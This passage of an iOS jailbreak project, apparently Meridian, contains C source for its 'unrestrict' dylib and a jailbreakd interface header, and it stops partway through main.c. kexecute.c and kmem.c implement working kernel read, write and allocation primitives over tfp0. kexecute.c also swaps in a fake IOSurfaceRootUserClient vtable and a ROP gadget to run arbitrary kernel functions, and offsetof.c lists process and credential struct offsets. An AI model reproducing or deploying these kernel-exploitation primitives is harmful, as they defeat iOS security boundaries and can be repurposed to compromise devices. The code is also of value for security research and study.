4 | /* Module jailbreak_daemon */
5 |
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 |
16 | /* BEGIN VOUCHER CODE */
17 |
18 | #ifndef KERNEL
19 | #if defined(__has_include)
20 | #if __has_include()
21 | #ifndef USING_VOUCHERS
22 | #define USING_VOUCHERS
23 | #endif
24 | #ifndef __VOUCHER_FORWARD_TYPE_DECLS__
25 | #define __VOUCHER_FORWARD_TYPE_DECLS__
26 | #ifdef __cplusplus
27 | extern "C" {
28 | #endif
29 | extern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import));
30 | #ifdef __cplusplus
31 | }
32 | #endif
33 | #endif // __VOUCHER_FORWARD_TYPE_DECLS__
34 | #endif // __has_include()
35 | #endif // __has_include
36 | #endif // !KERNEL
37 |
38 | /* END VOUCHER CODE */
39 |
40 |
41 | /* BEGIN MIG_STRNCPY_ZEROFILL CODE */
42 |
43 | #if defined(__has_include)
44 | #if __has_include()
45 | #ifndef USING_MIG_STRNCPY_ZEROFILL
46 | #define USING_MIG_STRNCPY_ZEROFILL
47 | #endif
48 | #ifndef __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__
49 | #define __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__
50 | #ifdef __cplusplus
51 | extern "C" {
52 | #endif
53 | extern int mig_strncpy_zerofill(char *dest, const char *src, int len) __attribute__((weak_import));
54 | #ifdef __cplusplus
55 | }
56 | #endif
57 | #endif /* __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ */
58 | #endif /* __has_include() */
59 | #endif /* __has_include */
60 |
61 | /* END MIG_STRNCPY_ZEROFILL CODE */
62 |
63 |
64 | #ifdef AUTOTEST
65 | #ifndef FUNCTION_PTR_T
66 | #define FUNCTION_PTR_T
67 | typedef void (*function_ptr_t)(mach_port_t, char *, mach_msg_type_number_t);
68 | typedef struct {
69 | char *name;
70 | function_ptr_t function;
71 | } function_table_entry;
72 | typedef function_table_entry *function_table_t;
73 | #endif /* FUNCTION_PTR_T */
74 | #endif /* AUTOTEST */
75 |
76 | #ifndef jailbreak_daemon_MSG_COUNT
77 | #define jailbreak_daemon_MSG_COUNT 1
78 | #endif /* jailbreak_daemon_MSG_COUNT */
79 |
80 | #include
81 | #include
82 | #include
83 | #include
84 |
85 | #ifdef __BeforeMigUserHeader
86 | __BeforeMigUserHeader
87 | #endif /* __BeforeMigUserHeader */
88 |
89 | #include
90 | __BEGIN_DECLS
91 |
92 |
93 | /* Routine call */
94 | #ifdef mig_external
95 | mig_external
96 | #else
97 | extern
98 | #endif /* mig_external */
99 | kern_return_t jbd_call
100 | (
101 | mach_port_t server_port,
102 | uint8_t command,
103 | uint32_t pid
104 | );
105 |
106 | __END_DECLS
107 |
108 | /********************** Caution **************************/
109 | /* The following data types should be used to calculate */
110 | /* maximum message sizes only. The actual message may be */
111 | /* smaller, and the position of the arguments within the */
112 | /* message layout may vary from what is presented here. */
113 | /* For example, if any of the arguments are variable- */
114 | /* sized, and less than the maximum is sent, the data */
115 | /* will be packed tight in the actual message to reduce */
116 | /* the presence of holes. */
117 | /********************** Caution **************************/
118 |
119 | /* typedefs for all requests */
120 |
121 | #ifndef __Request__jailbreak_daemon_subsystem__defined
122 | #define __Request__jailbreak_daemon_subsystem__defined
123 |
124 | #ifdef __MigPackStructs
125 | #pragma pack(4)
126 | #endif
127 | typedef struct {
128 | mach_msg_header_t Head;
129 | NDR_record_t NDR;
130 | uint8_t command;
131 | char commandPad[3];
132 | uint32_t pid;
133 | } __Request__call_t __attribute__((unused));
134 | #ifdef __MigPackStructs
135 | #pragma pack()
136 | #endif
137 | #endif /* !__Request__jailbreak_daemon_subsystem__defined */
138 |
139 | /* union of all requests */
140 |
141 | #ifndef __RequestUnion__jbd_jailbreak_daemon_subsystem__defined
142 | #define __RequestUnion__jbd_jailbreak_daemon_subsystem__defined
143 | union __RequestUnion__jbd_jailbreak_daemon_subsystem {
144 | __Request__call_t Request_jbd_call;
145 | };
146 | #endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */
147 | /* typedefs for all replies */
148 |
149 | #ifndef __Reply__jailbreak_daemon_subsystem__defined
150 | #define __Reply__jailbreak_daemon_subsystem__defined
151 |
152 | #ifdef __MigPackStructs
153 | #pragma pack(4)
154 | #endif
155 | typedef struct {
156 | mach_msg_header_t Head;
157 | NDR_record_t NDR;
158 | kern_return_t RetCode;
159 | } __Reply__call_t __attribute__((unused));
160 | #ifdef __MigPackStructs
161 | #pragma pack()
162 | #endif
163 | #endif /* !__Reply__jailbreak_daemon_subsystem__defined */
164 |
165 | /* union of all replies */
166 |
167 | #ifndef __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined
168 | #define __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined
169 | union __ReplyUnion__jbd_jailbreak_daemon_subsystem {
170 | __Reply__call_t Reply_jbd_call;
171 | };
172 | #endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */
173 |
174 | #ifndef subsystem_to_name_map_jailbreak_daemon
175 | #define subsystem_to_name_map_jailbreak_daemon \
176 | { "call", 500 }
177 | #endif
178 |
179 | #ifdef __AfterMigUserHeader
180 | __AfterMigUserHeader
181 | #endif /* __AfterMigUserHeader */
182 |
183 | #endif /* _jailbreak_daemon_user_ */
184 |
--------------------------------------------------------------------------------
/Meridian/unrestrict/Makefile:
--------------------------------------------------------------------------------
1 | TARGET = Unrestrict.dylib
2 | OUTDIR ?= bin
3 | SRC = $(wildcard *.c helpers/*.c)
4 |
5 | CC = xcrun -sdk iphoneos gcc -arch arm64
6 | LDID = ldid
7 | CFLAGS = -I. -Ihelpers -dynamiclib -framework IOKit -framework CoreFoundation
8 |
9 | .PHONY: all install clean
10 |
11 | all: $(OUTDIR)/$(TARGET)
12 |
13 | $(OUTDIR):
14 | mkdir -p $@
15 |
16 | $(OUTDIR)/$(TARGET): $(SRC) | $(OUTDIR)
17 | $(CC) $(CFLAGS) -o $@ $^
18 | $(LDID) -S $@
19 |
20 | install: all
21 |
22 | clean:
23 | rm -rf $(OUTDIR) $(OBJ)
24 |
--------------------------------------------------------------------------------
/Meridian/unrestrict/common.h:
--------------------------------------------------------------------------------
1 | #ifndef _UNRESTRICT_COMMON_H
2 | #define _UNRESTRICT_COMMON_H
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | extern bool initialized;
11 | extern uint64_t offset_options;
12 | #define OPT(x) (offset_options?((rk64(offset_options) & OPT_ ##x)?true:false):false)
13 | #define SETOPT(x, val) (offset_options?wk64(offset_options, val?(rk64(offset_options) | OPT_ ##x):(rk64(offset_options) & ~OPT_ ##x)):0)
14 | #define OPT_GET_TASK_ALLOW (1<<0)
15 | #define OPT_CS_DEBUGGED (1<<1)
16 |
17 | extern FILE *log_file;
18 | struct timeval dl_tv;
19 | #define LOG(fmt, args...) do { \
20 | if (log_file == NULL) { \
21 | char *log_path; \
22 | if (asprintf(&log_path, \
23 | "/var/log/unrestrict.log") == -1) { \
24 | break; \
25 | } \
26 | log_file = fopen(log_path, "a"); \
27 | free(log_path); \
28 | if (log_file == NULL) break; \
29 | } \
30 | gettimeofday(&dl_tv, NULL); \
31 | fprintf(log_file, "[%ld.%06d] " fmt "\n", dl_tv.tv_sec, \
32 | dl_tv.tv_usec, ##args); \
33 | fflush(log_file); \
34 | } while(0)
35 | #define CROAK(fmt, args...) LOG("%s:%d:%d:" fmt, __FILE__, __LINE__, errno, ##args)
36 | //#ifdef DEBUG
37 | #define DEBUGLOG(fmt, args...) LOG(fmt, ##args)
38 | //#else
39 | //#define DEBUGLOG(fmt, args...) do {} while (0)
40 | //#endif // ifdef DEBUG
41 |
42 | #define CACHED_FIND(type, name) \
43 | type __##name(void); \
44 | type name(void) { \
45 | type cached = 0; \
46 | if (cached == 0) { \
47 | cached = __##name(); \
48 | } \
49 | return cached; \
50 | } \
51 | type __##name(void)
52 |
53 | #endif
54 |
--------------------------------------------------------------------------------
/Meridian/unrestrict/helpers/kexecute.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #include "kern_utils.h"
4 | #include "common.h"
5 | #include "kexecute.h"
6 | #include "kmem.h"
7 | #include "offsetof.h"
8 |
9 | mach_port_t prepare_user_client() {
10 | kern_return_t err;
11 | mach_port_t user_client;
12 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
13 |
14 | if (service == IO_OBJECT_NULL) {
15 | DEBUGLOG(" [-] unable to find service");
16 | exit(EXIT_FAILURE);
17 | }
18 |
19 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
20 | if (err != KERN_SUCCESS) {
21 | DEBUGLOG(" [-] unable to get user client connection");
22 | exit(EXIT_FAILURE);
23 | }
24 |
25 | DEBUGLOG("got user client: 0x%x", user_client);
26 | return user_client;
27 | }
28 |
29 | // TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread
30 | pthread_mutex_t kexecute_lock;
31 | static mach_port_t user_client;
32 | static uint64_t IOSurfaceRootUserClient_port;
33 | static uint64_t IOSurfaceRootUserClient_addr;
34 | static uint64_t fake_vtable;
35 | static uint64_t fake_client;
36 | const int fake_kalloc_size = 0x1000;
37 |
38 | bool init_kexecute() {
39 | user_client = prepare_user_client();
40 | if (!user_client) return false;
41 |
42 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
43 | IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address
44 | if (!IOSurfaceRootUserClient_port) return false;
45 |
46 | IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field
47 | if (!IOSurfaceRootUserClient_addr) return false;
48 |
49 | uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
50 | if (!IOSurfaceRootUserClient_vtab) return false;
51 |
52 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
53 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
54 |
55 | // Create the vtable in the kernel memory, then copy the existing vtable into there
56 | fake_vtable = kalloc(fake_kalloc_size);
57 | if (!fake_vtable) return false;
58 |
59 | for (int i = 0; i < 0x200; i++) {
60 | wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));
61 | }
62 |
63 | // Create the fake user client
64 | fake_client = kalloc(fake_kalloc_size);
65 | if (!fake_client) return false;
66 |
67 | for (int i = 0; i < 0x200; i++) {
68 | wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));
69 | }
70 |
71 | // Write our fake vtable into the fake user client
72 | wk64(fake_client, fake_vtable);
73 |
74 | // Replace the user client with ours
75 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client);
76 |
77 | // Now the userclient port we have will look into our fake user client rather than the old one
78 |
79 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
80 | wk64(fake_vtable+8*0xB7, offset_add_ret_gadget);
81 |
82 | pthread_mutex_init(&kexecute_lock, NULL);
83 | return true;
84 | }
85 |
86 | void term_kexecute() {
87 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr);
88 | kfree(fake_vtable, fake_kalloc_size);
89 | kfree(fake_client, fake_kalloc_size);
90 | }
91 |
92 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
93 | pthread_mutex_lock(&kexecute_lock);
94 |
95 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
96 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
97 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
98 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
99 | // through like normal.
100 |
101 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
102 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
103 | // (i'm not actually sure if the switch back is necessary but meh)
104 |
105 | uint64_t offx20 = rk64(fake_client+0x40);
106 | uint64_t offx28 = rk64(fake_client+0x48);
107 | wk64(fake_client+0x40, x0);
108 | wk64(fake_client+0x48, addr);
109 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
110 | wk64(fake_client+0x40, offx20);
111 | wk64(fake_client+0x48, offx28);
112 |
113 | pthread_mutex_unlock(&kexecute_lock);
114 |
115 | return returnval;
116 | }
117 |
--------------------------------------------------------------------------------
/Meridian/unrestrict/helpers/kexecute.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #include
4 |
5 | mach_port_t prepare_user_client(void);
6 | bool init_kexecute(void);
7 | void term_kexecute(void);
8 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);
9 |
--------------------------------------------------------------------------------
/Meridian/unrestrict/helpers/kmem.c:
--------------------------------------------------------------------------------
1 | #include "kern_utils.h"
2 | #include "kmem.h"
3 | #include "common.h"
4 |
5 | #define MAX_CHUNK_SIZE 0xFFF
6 |
7 | size_t kread(uint64_t where, void *p, size_t size) {
8 | int rv;
9 | size_t offset = 0;
10 | while (offset < size) {
11 | mach_vm_size_t sz, chunk = MAX_CHUNK_SIZE;
12 | if (chunk > size - offset) {
13 | chunk = size - offset;
14 | }
15 | rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
16 | if (rv || sz == 0) {
17 | DEBUGLOG("[e] error reading kernel @%p", (void *)(offset + where));
18 | break;
19 | }
20 | offset += sz;
21 | }
22 | return offset;
23 | }
24 |
25 | size_t kwrite(uint64_t where, const void *p, size_t size) {
26 | int rv;
27 | size_t offset = 0;
28 | while (offset < size) {
29 | size_t chunk = MAX_CHUNK_SIZE;
30 | if (chunk > size - offset) {
31 | chunk = size - offset;
32 | }
33 | rv = mach_vm_write(tfp0, where + offset, (mach_vm_offset_t)p + offset, chunk);
34 | if (rv) {
35 | DEBUGLOG("[e] error writing kernel @%p", (void *)(offset + where));
36 | break;
37 | }
38 | offset += chunk;
39 | }
40 | return offset;
41 | }
42 |
43 | uint64_t kalloc(vm_size_t size) {
44 | mach_vm_address_t address = 0;
45 | mach_vm_allocate(tfp0, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
46 | return address;
47 | }
48 |
49 | void kfree(mach_vm_address_t address, vm_size_t size) {
50 | mach_vm_deallocate(tfp0, address, size);
51 | }
52 |
53 | uint16_t rk16(uint64_t kaddr) {
54 | uint16_t val = 0;
55 | kread(kaddr, &val, sizeof(val));
56 | return val;
57 | }
58 |
59 | uint32_t rk32(uint64_t kaddr) {
60 | uint32_t val = 0;
61 | kread(kaddr, &val, sizeof(val));
62 | return val;
63 | }
64 |
65 | uint64_t rk64(uint64_t kaddr) {
66 | uint64_t val = 0;
67 | kread(kaddr, &val, sizeof(val));
68 | return val;
69 | }
70 |
71 | void wk16(uint64_t kaddr, uint16_t val) {
72 | kwrite(kaddr, &val, sizeof(val));
73 | }
74 |
75 | void wk32(uint64_t kaddr, uint32_t val) {
76 | kwrite(kaddr, &val, sizeof(val));
77 | }
78 |
79 | void wk64(uint64_t kaddr, uint64_t val) {
80 | kwrite(kaddr, &val, sizeof(val));
81 | }
82 |
83 | // thx Siguza
84 | typedef struct {
85 | uint64_t prev;
86 | uint64_t next;
87 | uint64_t start;
88 | uint64_t end;
89 | } kmap_hdr_t;
90 |
91 | uint64_t zm_fix_addr(uint64_t addr) {
92 | static kmap_hdr_t zm_hdr = {0, 0, 0, 0};
93 |
94 | if (zm_hdr.start == 0) {
95 | uint64_t zone_map = rk64(offset_zonemap);
96 | DEBUGLOG("Calculating zm_hdr (offset_zonemap = 0x%llx zone_map = 0x%llx)", offset_zonemap, zone_map);
97 |
98 | // hdr is at offset 0x10, mutexes at start
99 | size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr));
100 |
101 | if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) {
102 | DEBUGLOG("kread of zone_map failed!");
103 | return 0;
104 | }
105 |
106 | if (zm_hdr.end - zm_hdr.start > 0x100000000) {
107 | DEBUGLOG("zone_map is too big, sorry.");
108 | return 0;
109 | }
110 | }
111 |
112 | uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | (addr & 0xffffffff);
113 |
114 | return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp;
115 | }
116 |
117 | int kstrcmp(uint64_t kstr, const char *str) {
118 | size_t len = strlen(str) + 1;
119 | char *local = malloc(len + 1);
120 | if (!local) CROAK("Unable to malloc");
121 | local[len] = '\0';
122 |
123 | int ret = 1;
124 |
125 | if (kread(kstr, local, len) == len) {
126 | ret = strcmp(local, str);
127 | }
128 |
129 | free(local);
130 |
131 | return ret;
132 | }
133 |
--------------------------------------------------------------------------------
/Meridian/unrestrict/helpers/kmem.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | uint64_t kalloc(vm_size_t size);
4 | void kfree(mach_vm_address_t address, vm_size_t size);
5 |
6 | size_t kread(uint64_t where, void *p, size_t size);
7 | uint16_t rk16(uint64_t kaddr);
8 | uint32_t rk32(uint64_t kaddr);
9 | uint64_t rk64(uint64_t kaddr);
10 |
11 | size_t kwrite(uint64_t where, const void *p, size_t size);
12 | void wk16(uint64_t kaddr, uint16_t val);
13 | void wk32(uint64_t kaddr, uint32_t val);
14 | void wk64(uint64_t kaddr, uint64_t val);
15 |
16 | uint64_t zm_fix_addr(uint64_t addr);
17 |
18 | int kstrcmp(uint64_t kstr, const char *str);
19 |
--------------------------------------------------------------------------------
/Meridian/unrestrict/helpers/offsetof.c:
--------------------------------------------------------------------------------
1 | #define offsetof_p_pid (unsigned)((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x60) : (0x10)) // proc_t::p_pid
2 | #define offsetof_task (unsigned)((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x10) : (0x18)) // proc_t::task
3 | #define offsetof_p_svuid (unsigned)((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x32) : (0x40)) // proc_t::svuid
4 | #define offsetof_p_svgid (unsigned)((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x36) : (0x44)) // proc_t::svgid
5 | #define offsetof_p_ucred (unsigned)((kCFCoreFoundationVersionNumber >= 1535.12) ? (0xf8) : (0x100)) // proc_t::p_ucred
6 | #define offsetof_p_csflags (unsigned)((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x290) : (0x2a8)) // proc_t::p_csflags
7 | #define offsetof_p_p_list (unsigned)(0x8) // proc_t::p_list
8 | #define offsetof_itk_space (unsigned)((kCFCoreFoundationVersionNumber >= 1443.00) ? ((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x300) : (0x308)) : (0x300)) // task_t::itk_space
9 | #define offsetof_bsd_info (unsigned)((kCFCoreFoundationVersionNumber >= 1443.00) ? ((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x358) : (0x368)) : (0x360)) // task_t::bsd_info
10 | #define offsetof_ip_kobject (unsigned)(0x68) // ipc_port_t::ip_kobject
11 | #define offsetof_ipc_space_is_table (unsigned)(0x20) // ipc_space::is_table
12 |
13 | #define offsetof_ucred_cr_uid (unsigned)(0x18) // ucred::cr_uid
14 | #define offsetof_ucred_cr_svuid (unsigned)(0x20) // ucred::cr_svuid
15 | #define offsetof_ucred_cr_groups (unsigned)(0x28) // ucred::cr_groups
16 | #define offsetof_ucred_cr_svgid (unsigned)(0x6c) // ucred::cr_svgid
17 |
18 | #define offsetof_t_flags (unsigned)((kCFCoreFoundationVersionNumber >= 1535.12) ? (0x390) : (0x3a0)) // task::t_flags
19 |
--------------------------------------------------------------------------------
/Meridian/unrestrict/helpers/offsetof.h:
--------------------------------------------------------------------------------
1 | #include "offsetof.c"
2 |
--------------------------------------------------------------------------------
/Meridian/unrestrict/helpers/osobject.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #include "kern_utils.h"
4 | #include "kexecute.h"
5 | #include "kmem.h"
6 | #include "osobject.h"
7 | #include "common.h"
8 |
9 | // offsets in vtable:
10 | static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F;
11 | static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26;
12 | static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23;
13 |
14 | static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E;
15 | static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20;
16 | static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22;
17 |
18 | static uint32_t off_OSObject_Release = sizeof(void*) * 0x05;
19 | static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03;
20 | static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04;
21 |
22 | static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11;
23 |
24 | // 1 on success, 0 on error
25 | bool OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) {
26 | size_t len = strlen(key) + 1;
27 |
28 | uint64_t ks = kalloc(len);
29 | kwrite(ks, key, len);
30 |
31 | uint64_t vtab = rk64(dict);
32 | uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP);
33 |
34 | int rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0);
35 |
36 | kfree(ks, len);
37 |
38 | return rv;
39 | }
40 |
41 | // XXX it can return 0 in lower 32 bits but still be valid
42 | // fix addr of returned value and check if rk64 gives ptr
43 | // to vtable addr saved before
44 |
45 | // address if exists, 0 if not
46 | uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) {
47 | size_t len = strlen(key) + 1;
48 |
49 | uint64_t ks = kalloc(len);
50 | kwrite(ks, key, len);
51 |
52 | uint64_t vtab = rk64(dict);
53 | uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP);
54 |
55 | uint64_t rv = kexecute(f, dict, ks, 0, 0, 0, 0, 0);
56 |
57 | kfree(ks, len);
58 |
59 | return rv;
60 | }
61 |
62 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) {
63 | uint64_t ret = _OSDictionary_GetItem(dict, key);
64 |
65 | if (ret != 0 && (ret>>32) == 0) {
66 | // XXX can it be not in zalloc?..
67 | ret = zm_fix_addr(ret);
68 | }
69 |
70 | return ret;
71 | }
72 |
73 | // 1 on success, 0 on error
74 | bool OSDictionary_Merge(uint64_t dict, uint64_t aDict) {
75 | uint64_t vtab = rk64(dict);
76 | uint64_t f = rk64(vtab + off_OSDictionary_Merge);
77 |
78 | return (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0);
79 | }
80 |
81 | // 1 on success, 0 on error
82 | bool OSArray_Merge(uint64_t array, uint64_t aArray) {
83 | uint64_t vtab = rk64(array);
84 | uint64_t f = rk64(vtab + off_OSArray_Merge);
85 |
86 | return (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0);
87 | }
88 |
89 | uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){
90 | uint64_t vtab = rk64(array);
91 | uint64_t f = rk64(vtab + off_OSArray_GetObject);
92 |
93 | return kexecute(f, array, idx, 0, 0, 0, 0, 0);
94 | }
95 |
96 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){
97 | uint64_t ret = _OSArray_GetObject(array, idx);
98 |
99 | if (ret != 0){
100 | // XXX can it be not in zalloc?..
101 | ret = zm_fix_addr(ret);
102 | }
103 | return ret;
104 | }
105 |
106 | void OSArray_RemoveObject(uint64_t array, unsigned int idx){
107 | uint64_t vtab = rk64(array);
108 | uint64_t f = rk64(vtab + off_OSArray_RemoveObject);
109 |
110 | (void)kexecute(f, array, idx, 0, 0, 0, 0, 0);
111 | }
112 |
113 | // XXX error handling just for fun? :)
114 | uint64_t _OSUnserializeXML(const char *buffer) {
115 | size_t len = strlen(buffer) + 1;
116 |
117 | uint64_t ks = kalloc(len);
118 | kwrite(ks, buffer, len);
119 |
120 | uint64_t errorptr = 0;
121 |
122 | uint64_t rv = kexecute(offset_osunserializexml, ks, errorptr, 0, 0, 0, 0, 0);
123 | kfree(ks, len);
124 |
125 | return rv;
126 | }
127 |
128 | uint64_t OSUnserializeXML(const char *buffer) {
129 | uint64_t ret = _OSUnserializeXML(buffer);
130 |
131 | if (ret != 0) {
132 | // XXX can it be not in zalloc?..
133 | ret = zm_fix_addr(ret);
134 | }
135 |
136 | return ret;
137 | }
138 |
139 | void OSObject_Release(uint64_t osobject) {
140 | uint64_t vtab = rk64(osobject);
141 | uint64_t f = rk64(vtab + off_OSObject_Release);
142 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);
143 | }
144 |
145 | void OSObject_Retain(uint64_t osobject) {
146 | uint64_t vtab = rk64(osobject);
147 | uint64_t f = rk64(vtab + off_OSObject_Retain);
148 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);
149 | }
150 |
151 | uint32_t OSObject_GetRetainCount(uint64_t osobject) {
152 | uint64_t vtab = rk64(osobject);
153 | uint64_t f = rk64(vtab + off_OSObject_GetRetainCount);
154 | return (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);
155 | }
156 |
157 | unsigned int OSString_GetLength(uint64_t osstring){
158 | uint64_t vtab = rk64(osstring);
159 | uint64_t f = rk64(vtab + off_OSString_GetLength);
160 | return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0);
161 | }
162 |
163 | char *OSString_CopyString(uint64_t osstring){
164 | unsigned int length = OSString_GetLength(osstring);
165 | if (length == 0 || length > 0x100) DEBUGLOG("OSString_CopyString: length=%d", length);
166 | char *str = (char *)malloc(length + 1);
167 | if (!str) {
168 | DEBUGLOG("malloc failed OSString_CopyString: str=%p", str);
169 | }
170 | str[length] = 0;
171 |
172 | kread(OSString_CStringPtr(osstring), str, length);
173 | return str;
174 | }
175 |
--------------------------------------------------------------------------------
/Meridian/unrestrict/helpers/osobject.h:
--------------------------------------------------------------------------------
1 |
2 | #define OSDictionary_ItemCount(dict) rk32(dict+20)
3 | #define OSDictionary_ItemBuffer(dict) rk64(dict+32)
4 | #define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx)
5 | #define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8)
6 | #define OSString_CStringPtr(str) rk64(str + 0x10)
7 | #define OSArray_ItemCount(arr) rk32(arr+0x14)
8 | #define OSArray_ItemBuffer(arr) rk64(arr+32)
9 |
10 | // see osobject.c for info
11 |
12 | bool OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val);
13 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key);
14 | bool OSDictionary_Merge(uint64_t dict, uint64_t aDict);
15 | void OSArray_RemoveObject(uint64_t array, unsigned int idx);
16 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx);
17 | bool OSArray_Merge(uint64_t array, uint64_t aArray);
18 | uint64_t OSUnserializeXML(const char *buffer);
19 |
20 | void OSObject_Release(uint64_t osobject);
21 | void OSObject_Retain(uint64_t osobject);
22 | uint32_t OSObject_GetRetainCount(uint64_t osobject);
23 |
24 | unsigned int OSString_GetLength(uint64_t osstring);
25 | char *OSString_CopyString(uint64_t osstring);
26 |
--------------------------------------------------------------------------------
/Meridian/unrestrict/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #include
7 | #include
8 |
9 | #include "common.h"
10 | #include "kern_utils.h"
11 | #include "kexecute.h"
12 | #include "kmem.h"
13 |
14 | bool initialized = false;
15 | uint64_t offset_options = 0;
16 |
17 | __attribute__((constructor))
18 | void ctor() {
19 | bool found_offsets = false;
20 | kern_return_t err;
21 |
22 | DEBUGLOG("the fun and games shall begin! (applying lube...)");
23 |
24 | // tfp0, kexecute
25 | err = host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 4, &tfp0);
26 | if (err != KERN_SUCCESS) {
27 | DEBUGLOG("host_get_special_port 4: %s", mach_error_string(err));
28 | tfp0 = KERN_INVALID_TASK;
29 | return;
30 | }
31 | DEBUGLOG("tfp0: %x", tfp0);
32 |
33 | CFURLRef fileURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault, CFSTR("/meridian/offsets.plist"), kCFURLPOSIXPathStyle, false);
34 | if (fileURL == NULL) {
35 | DEBUGLOG("Unable to create URL");
36 | return;
37 | }
38 | CFDataRef off_file_data;
39 | SInt32 errorCode;
40 | Boolean status = CFURLCreateDataAndPropertiesFromResource(
41 | kCFAllocatorDefault, fileURL, &off_file_data,
42 | NULL, NULL, &errorCode);
43 |
44 | CFRelease(fileURL);
45 | if (!status) {
46 | DEBUGLOG("Unable to read /meridian/offsets.plist");
47 | return;
48 | }
49 |
50 | DEBUGLOG("off_file_data: %p", off_file_data);
51 | CFPropertyListRef offsets = CFPropertyListCreateWithData(kCFAllocatorDefault, (CFDataRef)off_file_data, kCFPropertyListImmutable, NULL, NULL);
52 | CFRelease(off_file_data);
53 | if (offsets == NULL) {
54 | DEBUGLOG("Unable to convert /meridian/offsets.plist to property list");
55 | return;
